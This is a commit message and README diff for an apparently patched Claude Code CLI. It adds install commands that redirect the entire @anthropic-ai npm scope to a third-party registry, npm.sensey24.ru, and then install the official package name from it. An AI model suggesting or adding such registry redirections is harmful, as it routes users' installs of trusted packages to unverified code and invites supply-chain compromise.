feat: add npm registry install method, update version to v2.1.62

- Add Method A (npm registry, recommended) with npm.sensey24.ru
- Rename old installer to Method B (backup)
- Add VERSION_BADGE markers for auto-update
- Update version badge to v2.1.62 (20 patches)

Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com>

claude/README.md

@@ -2,11 +2,31 @@
 
 🌐 [English](README.md) | [Русский](README_ru.md) | [中文](README_zh.md) | [Español](README_es.md)
 
-Patched Claude Code CLI for use with custom API endpoints. 15 patches applied.
+<!-- VERSION_BADGE:START -->
+Patched Claude Code CLI for use with custom API endpoints. Latest: **v2.1.62** (20 patches).
+<!-- VERSION_BADGE:END -->
 
 ## Install
 
-All dependencies are installed automatically: Git, Python 3, Node.js v24.13+, Claude Code.
+### Method A — npm registry (recommended)
+
+Install the patched package directly from our npm registry. Updates automatically when new versions are released.
+
+**Linux / macOS:**
+```bash
+npm config set @anthropic-ai:registry https://npm.sensey24.ru/
+npm install -g @anthropic-ai/claude-code
+```
+
+**Windows (PowerShell):**
+```powershell
+npm config set "@anthropic-ai:registry" "https://npm.sensey24.ru/"
+npm install -g @anthropic-ai/claude-code
+```
+
+### Method B — Automatic installer (backup)
+
+Install with automatic dependency detection and setup. Downloads patched cli.js from releases.
 
 **Linux (Debian/Ubuntu/RHEL/Fedora):**
 ```bash